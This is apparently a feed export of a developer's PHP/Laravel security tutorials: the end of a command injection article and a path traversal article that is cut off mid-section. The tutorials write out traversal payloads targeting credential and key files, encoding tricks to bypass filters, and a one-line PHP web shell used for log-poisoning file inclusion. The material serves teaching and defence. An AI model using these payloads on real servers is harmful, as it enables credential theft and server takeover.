&lt;span class="nb"&gt;shell_exec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'convert '&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nb"&gt;escapeshellarg&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$file&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="s1"&gt;' thumbnail.jpg'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Whitelist first. Escape second. Both layers together.&lt;/p&gt;

&lt;h2&gt;
  
  
  Laravel and Command Injection
&lt;/h2&gt;

&lt;p&gt;Laravel 10+ provides a Process facade for running external processes safely:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="kn"&gt;use&lt;/span&gt; &lt;span class="nc"&gt;Illuminate\Support\Facades\Process&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;// Safe — array arguments bypass shell interpretation&lt;/span&gt;
&lt;span class="nv"&gt;$result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Process&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="s1"&gt;'convert'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$filename&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'-resize'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'800x600'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'output.jpg'&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$result&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;successful&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// process the output&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When you pass an array of arguments the Process facade passes them directly to the operating system without going through a shell interpreter. Shell metacharacters in arguments have no effect because there is no shell parsing them.&lt;/p&gt;

&lt;p&gt;This is the correct way to run external commands in Laravel. No shell string. No injection risk.&lt;/p&gt;

&lt;h2&gt;
  
  
  The disable_functions Safety Net
&lt;/h2&gt;

&lt;p&gt;PHP's &lt;code&gt;php.ini&lt;/code&gt; allows you to disable dangerous functions entirely:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ini"&gt;&lt;code&gt;&lt;span class="c"&gt;; php.ini
&lt;/span&gt;&lt;span class="py"&gt;disable_functions&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;exec,shell_exec,system,passthru,popen,proc_open&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If your application does not need to execute shell commands — and most do not — disable these functions at the server level. An attacker who finds an injection point cannot exploit it if the function does not exist.&lt;/p&gt;

&lt;p&gt;This is a server-level safety net. It does not replace code-level fixes but limits damage if a vulnerability exists.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Command Injection Prevention Checklist
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;For plain PHP:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Never concatenate user input directly into shell command strings&lt;/li&gt;
&lt;li&gt;Use &lt;code&gt;escapeshellarg()&lt;/code&gt; on every user-supplied argument before it reaches a shell function&lt;/li&gt;
&lt;li&gt;Use array-based process execution with &lt;code&gt;proc_open()&lt;/code&gt; instead of string commands where possible&lt;/li&gt;
&lt;li&gt;Use PHP native libraries instead of shell commands wherever they exist&lt;/li&gt;
&lt;li&gt;Validate user input against a strict whitelist before any shell call&lt;/li&gt;
&lt;li&gt;Disable unused shell functions in php.ini with &lt;code&gt;disable_functions&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Never rely on blacklist-based character filtering for command injection prevention&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;For Laravel:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Use the Process facade with array arguments — never string commands&lt;/li&gt;
&lt;li&gt;Validate and whitelist any user-supplied values before passing to Process&lt;/li&gt;
&lt;li&gt;Disable shell functions in php.ini if your application does not need them&lt;/li&gt;
&lt;li&gt;Use Laravel's native file handling, image processing, and archive libraries before reaching for shell commands&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  What Was Hitting a Live PHP App Last Week
&lt;/h2&gt;

&lt;p&gt;Last week Kriosa blocked 306 attacks on a live PHP application. Several of those were command injection probes — automated scanners sending payloads that appended system information commands, file-reading operations, and subshell expressions in file parameters, URL fields, and form inputs.&lt;/p&gt;

&lt;p&gt;Here is what one of those attempts looked like in the Kriosa  dashboard:&lt;/p&gt;

&lt;p&gt;![Command injection is one of the most dangerous vulnerabilities in PHP because a single unsanitized argument reaching a shell function can lead to full server compromise.&lt;/p&gt;

&lt;p&gt;In this article, you'll learn:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;What command injection is and how it works&lt;/li&gt;
&lt;li&gt;Why functions like &lt;code&gt;exec()&lt;/code&gt;, &lt;code&gt;shell_exec()&lt;/code&gt;, &lt;code&gt;system()&lt;/code&gt;, and &lt;code&gt;passthru()&lt;/code&gt; are high risk&lt;/li&gt;
&lt;li&gt;Common attack techniques and real-world vulnerable code patterns&lt;/li&gt;
&lt;li&gt;Why blacklist-based filtering fails&lt;/li&gt;
&lt;li&gt;How to prevent command injection with &lt;code&gt;escapeshellarg()&lt;/code&gt;, &lt;code&gt;escapeshellcmd()&lt;/code&gt;, input validation, and safer alternatives&lt;/li&gt;
&lt;li&gt;Secure approaches for both plain PHP and Laravel applications&lt;/li&gt;
&lt;li&gt;A practical prevention checklist you can apply immediately&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Whether you're building PHP applications from scratch or maintaining Laravel projects, understanding command injection is essential to protecting your applications from one of the most severe classes of web vulnerabilities.&lt;/p&gt;

&lt;p&gt;Feedback, questions, and alternative approaches are always welcome in the comments.&lt;br&gt;
](&lt;a href="https://dev-to-uploads.s3.us-east-2.amazonaws.com/uploads/articles/s063bttr5v19w8d34e9k.png" rel="noopener noreferrer"&gt;https://dev-to-uploads.s3.us-east-2.amazonaws.com/uploads/articles/s063bttr5v19w8d34e9k.png&lt;/a&gt;)&lt;/p&gt;

&lt;p&gt;The dashboard shows not just that the request was blocked — but why. Which features of the request triggered the ML model. What the confidence score was. What attack category it matched.&lt;/p&gt;

&lt;p&gt;Most middleware block silently. Kriosa shows you the reasoning.&lt;/p&gt;

&lt;p&gt;If you are running a PHP or Laravel app right now, the same automated scanners that hit this application are hitting yours. The question is whether you can see it when it happens.&lt;/p&gt;

&lt;p&gt;Try it free: &lt;strong&gt;&lt;a href="https://kriosa.com" rel="noopener noreferrer"&gt;kriosa.com&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Install it with Composer, then drop this in at the top of your entry point:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt;
&lt;span class="c1"&gt;// After Composer installation&lt;/span&gt;
&lt;span class="k"&gt;require_once&lt;/span&gt; &lt;span class="s1"&gt;'vendor/autoload.php'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nv"&gt;$apiKey&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;getenv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'KRIOSA_API_KEY'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;?:&lt;/span&gt; &lt;span class="s1"&gt;'YOUR_API_KEY_HERE'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;$kriosa&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Kriosa&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$apiKey&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
        &lt;span class="s1"&gt;'timeout'&lt;/span&gt;     &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s1"&gt;'debug'&lt;/span&gt;       &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s1"&gt;'fail_closed'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s1"&gt;'show_badge'&lt;/span&gt;  &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;]);&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nv"&gt;$kriosa&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;protect&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nb"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'X-Kriosa-Blocked: true'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="nb"&gt;http_response_code&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;403&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Access Denied'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Exception&lt;/span&gt; &lt;span class="nv"&gt;$e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nb"&gt;error_log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Kriosa Security Error: '&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$e&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;getMessage&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="c1"&gt;// Your application continues safely...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;p&gt;&lt;em&gt;Built by a developer from Cameroon, for developers who want to understand their security — not just outsource it.&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  The Series So Far
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;&lt;a href="https://medium.com/system-weakness/what-your-php-logs-actually-look-like-during-an-sql-injection-attack-571aa807f5fe" rel="noopener noreferrer"&gt;What your PHP logs actually look like during a SQL injection attack&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://medium.com/system-weakness/why-url-encoding-can-break-php-security-checks-and-what-actually-works-748d2ebc848e" rel="noopener noreferrer"&gt;Why URL encoding can break PHP security checks&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://medium.com/system-weakness/the-decode-bomb-problem-why-unlimited-url-decoding-can-be-its-own-vulnerability-b1cad85c17ff" rel="noopener noreferrer"&gt;The decode bomb problem — why unlimited URL decoding can be its own vulnerability&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://medium.com/@jnchiminyi/parameterized-queries-the-only-real-fix-for-sql-injection-2e7dafc7897b" rel="noopener noreferrer"&gt;Parameterized queries — the only real fix for SQL injection&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://medium.com/@jnchiminyi/xss-prevention-in-laravel-why-is-the-line-between-safe-and-hacked-352101b9243a" rel="noopener noreferrer"&gt;XSS prevention in Laravel and why &lt;code&gt;{!! !!}&lt;/code&gt; is the line between safe and hacked&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://medium.com/@jnchiminyi/how-attackers-enumerate-your-laravel-app-and-what-to-hide-before-they-map-your-entire-backend-7a618ef40e39" rel="noopener noreferrer"&gt;How attackers enumerate your Laravel app and what to hide&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://medium.com/@jnchiminyi/file-upload-security-in-php-and-laravel-the-file-that-isnt-what-it-claims-to-be-768c920b26ac" rel="noopener noreferrer"&gt;File upload security in PHP and Laravel&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://medium.com/@jnchiminyi/path-traversal-in-php-how-escapes-your-application-d401be98239e" rel="noopener noreferrer"&gt;Path traversal in PHP — how &lt;code&gt;../&lt;/code&gt; escapes your application&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;This article — command injection in PHP and when &lt;code&gt;exec()&lt;/code&gt; becomes an attack surface.&lt;/li&gt;
&lt;/ol&gt;

</description>
      <category>php</category>
      <category>webdev</category>
      <category>security</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>Path Traversal in PHP — How `../` Escapes Your Application</title>
      <dc:creator>Nchiminyi — Founder, Kriosa</dc:creator>
      <pubDate>Tue, 28 Jul 2026 07:02:00 +0000</pubDate>
      <link>https://dev.to/kriosa/path-traversal-in-php-how-escapes-your-application-1372</link>
      <guid>https://dev.to/kriosa/path-traversal-in-php-how-escapes-your-application-1372</guid>
      <description>&lt;p&gt;Originally published on Medium&lt;br&gt;
One unsanitized file path is all an attacker needs to read your database credentials, your SSH keys, or your entire codebase.&lt;/p&gt;

&lt;p&gt;This is the eighth article in a series on PHP and Laravel application security.&lt;/p&gt;

&lt;p&gt;So far we have covered:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Detecting SQL injection attempts in PHP logs&lt;/li&gt;
&lt;li&gt;Why URL encoding blinds most PHP security checks&lt;/li&gt;
&lt;li&gt;The decode bomb problem with unlimited URL decoding&lt;/li&gt;
&lt;li&gt;Why parameterized queries are the only real fix for SQL injection&lt;/li&gt;
&lt;li&gt;XSS prevention in Laravel and why &lt;code&gt;{!! !!}&lt;/code&gt; is the line between safe and hacked&lt;/li&gt;
&lt;li&gt;How attackers enumerate your Laravel app before exploiting it&lt;/li&gt;
&lt;li&gt;File upload security  the file that isn't what it claims to be&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Every article in this series follows the same principle understand the attack before you try to stop it.&lt;/p&gt;

&lt;p&gt;Path traversal is no different. And it is one of the most quietly dangerous vulnerabilities in PHP applications because it hides inside features that look completely legitimate  file downloads, template loading, document viewers.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What Path Traversal Actually Is&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Path traversal is an attack where an attacker manipulates a file path to access files outside the directory your application intended to serve.&lt;/p&gt;

&lt;p&gt;The attack uses &lt;code&gt;../&lt;/code&gt;  which in any operating system means "go up one directory level." By chaining multiple &lt;code&gt;../&lt;/code&gt; sequences an attacker climbs up the directory tree and accesses files your application was never supposed to touch.&lt;/p&gt;

&lt;p&gt;It does not require a login. It does not require special tools. It requires one unsanitized file path and a browser.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Attack in Plain Terms&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Your application has a file download feature:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$filename&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'file'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="nv"&gt;$filepath&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'/var/www/storage/files/'&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$filename&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nb"&gt;readfile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$filepath&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A legitimate user sends:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;file=document1.pdf
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The path becomes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/var/www/storage/files/document1.pdf
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Clean. Expected. Safe.&lt;/p&gt;

&lt;p&gt;An attacker sends:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;file=../../config/database.php
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The path becomes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/var/www/storage/files/../../config/database.php
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Which resolves to:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/var/www/config/database.php
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Your database credentials just left the server.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Going Further Up the Tree&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;An attacker does not stop at your application directory. They keep climbing:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;file=../../../etc/passwd
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Resolves to:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/etc/passwd
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;On Unix-like systems, &lt;code&gt;/etc/passwd&lt;/code&gt; is typically world-readable and lists local user accounts. From there an attacker maps users, identifies privilege levels, and plans their next move.&lt;/p&gt;

&lt;p&gt;More dangerous targets:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;../../../var/www/.env              — your Laravel environment file
../../../proc/self/environ         — server environment variables
../../../var/log/apache2/access.log — server access logs
../../../home/ubuntu/.ssh/id_rsa   — SSH private key
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Each one of these is a complete breach on its own.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How Attackers Bypass Basic Filters&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;You already know about URL encoding from &lt;a href="https://medium.com/@jnchiminyi/why-url-encoding-can-break-php-security-checks-and-what-actually-works-748d2ebc848e" rel="noopener noreferrer"&gt;article 2&lt;/a&gt;. Attackers use it here too.&lt;/p&gt;

&lt;p&gt;A simple filter that strips &lt;code&gt;../&lt;/code&gt; gets bypassed immediately:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// This fails&lt;/span&gt;
&lt;span class="nv"&gt;$filename&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;str_replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'../'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'file'&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;An attacker sends &lt;code&gt;....//&lt;/code&gt;. After stripping &lt;code&gt;../&lt;/code&gt; from the middle it becomes &lt;code&gt;../&lt;/code&gt;. The traversal still works. The filter protected nothing.&lt;/p&gt;

&lt;p&gt;Encoded variations bypass strpos checks:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;%2e%2e%2f       — URL encoded ../
%2e%2e/         — partially encoded
..%2f           — partially encoded
%2e%2e%5c       — Windows path separator
....//          — double sequence evasion
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A check looking for the literal string &lt;code&gt;../&lt;/code&gt; misses every one of these. This is why string-based filters always fail for path traversal  they match representations, not what the path actually resolves to.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Four PHP Functions Most Vulnerable to Path Traversal&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. readfile()&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nb"&gt;readfile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'/var/www/storage/files/'&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'file'&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Reads and outputs file content directly. An attacker reads any file the web server user has permission to access.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. file_get_contents()&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$content&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;file_get_contents&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'/var/www/templates/'&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'template'&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Returns file content as a string. Same risk as readfile() any readable file on the system is accessible.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. include() and require()&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="k"&gt;include&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'/var/www/views/'&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'page'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="s1"&gt;'.php'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is the most dangerous case. Not only can the attacker read files  if they can get PHP code into a readable file first and then include it, they achieve Remote Code Execution. This chained attack is called Local File Inclusion and it turns a read vulnerability into a full server takeover.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4. fopen()&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$handle&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;fopen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'/var/www/uploads/'&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'filename'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="s1"&gt;'r'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Opens a file handle for reading. Same risk as readfile().&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Path Traversal vs Local File Inclusion&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;These two terms are related but describe different levels of severity.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Path traversal&lt;/strong&gt; is the ability to read files outside the intended directory. The attacker reads your &lt;code&gt;.env&lt;/code&gt; file, your database config, your SSH keys. Serious damage. Confidential data exposed.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Local File Inclusion&lt;/strong&gt; happens when path traversal is combined with &lt;code&gt;include()&lt;/code&gt; or &lt;code&gt;require()&lt;/code&gt;. The attacker does not just read files they execute PHP code. This turns a bad vulnerability into a complete server takeover.&lt;/p&gt;

&lt;p&gt;The LFI attack chain works like this:&lt;/p&gt;

&lt;p&gt;An attacker knows your server logs User-Agent headers. They send a request with a PHP payload as their User-Agent:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;User-Agent: &lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt; &lt;span class="nb"&gt;system&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'cmd'&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt; &lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This gets written into your server access log at:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/var/log/apache2/access.log
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now they use path traversal to include the log file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;page=../../../var/log/apache2/access.log
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Your server executes the PHP code that was injected into the log. Whether this succeeds depends on the server configuration, log file permissions, and how the application includes the file.&lt;/p&gt;

&lt;p&gt;This is why &lt;code&gt;include()&lt;/code&gt; with user-controlled input is one of the most dangerous patterns in PHP. Path traversal reads files. LFI executes them.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Wrong Fixes&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Wrong fix 1 — Stripping &lt;code&gt;../&lt;/code&gt;:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
